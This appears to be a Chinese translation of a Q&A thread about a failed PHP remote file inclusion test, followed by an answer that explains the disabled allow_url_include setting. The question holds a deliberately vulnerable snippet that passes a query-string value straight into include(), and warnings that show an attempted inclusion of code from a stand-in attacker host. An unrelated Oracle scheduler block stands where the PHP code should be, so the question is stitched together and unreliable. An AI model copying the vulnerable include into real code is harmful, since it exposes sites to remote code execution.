无法使用PHP包含文件

时间:2017-09-09 06:18:17

标签: php include

我有一个问题。我正在测试远程文件包含注入的方式,并尝试使用PHP包含来自URL查询字符串的文件。但在这里我收到一些警告信息。我在下面解释我的代码。

BEGIN
DBMS_SCHEDULER.CREATE_JOB (
   job_name             => 'oe.my_job1',
   job_type             => 'PLSQL_BLOCK',
   job_action           => 'BEGIN DBMS_STATS.GATHER_TABLE_STATS(''oe'',
                            ''sales''); END;',
   start_date           => '15-JUL-08 1.00.00AM US/Pacific',
   repeat_interval      => 'FREQ=SECONDLY;INTERVAL=5', 
   end_date             => '15-SEP-08 1.00.00AM US/Pacific',
   enabled              =>  TRUE,
   comments             => 'Gather table statistics');
END;
/

我收到以下消息。

<?php
$file = $_GET['file'];
include($file);
?>

我在这里调用远程文件Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /opt/lampp/htdocs/test/remote.php on line 3 Warning: include(http://attacker.com/evil.php): failed to open stream: no suitable wrapper could be found in /opt/lampp/htdocs/test/remote.php on line 3 Warning: include(): Failed opening 'http://attacker.com/evil.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/test/remote.php on line 3 。在这里,我需要知道如何成功地包含它以及如何防止它。

1 个答案:

答案 0 :(得分:4)

您的服务器已禁用allow_url_include选项。这意味着您只能使用include()访问本地文件,而不能访问外部网址。

通常,将include()与远程.php网址一起使用是没有意义的。当您从服务器请求.php文件时,它不会返回源代码,它会执行脚本并返回输出。但是include()需要获取PHP代码,它就像在包含脚本中一样执行。

如果您想获取远程数据,则应使用file_get_contents($file),而不是include($file)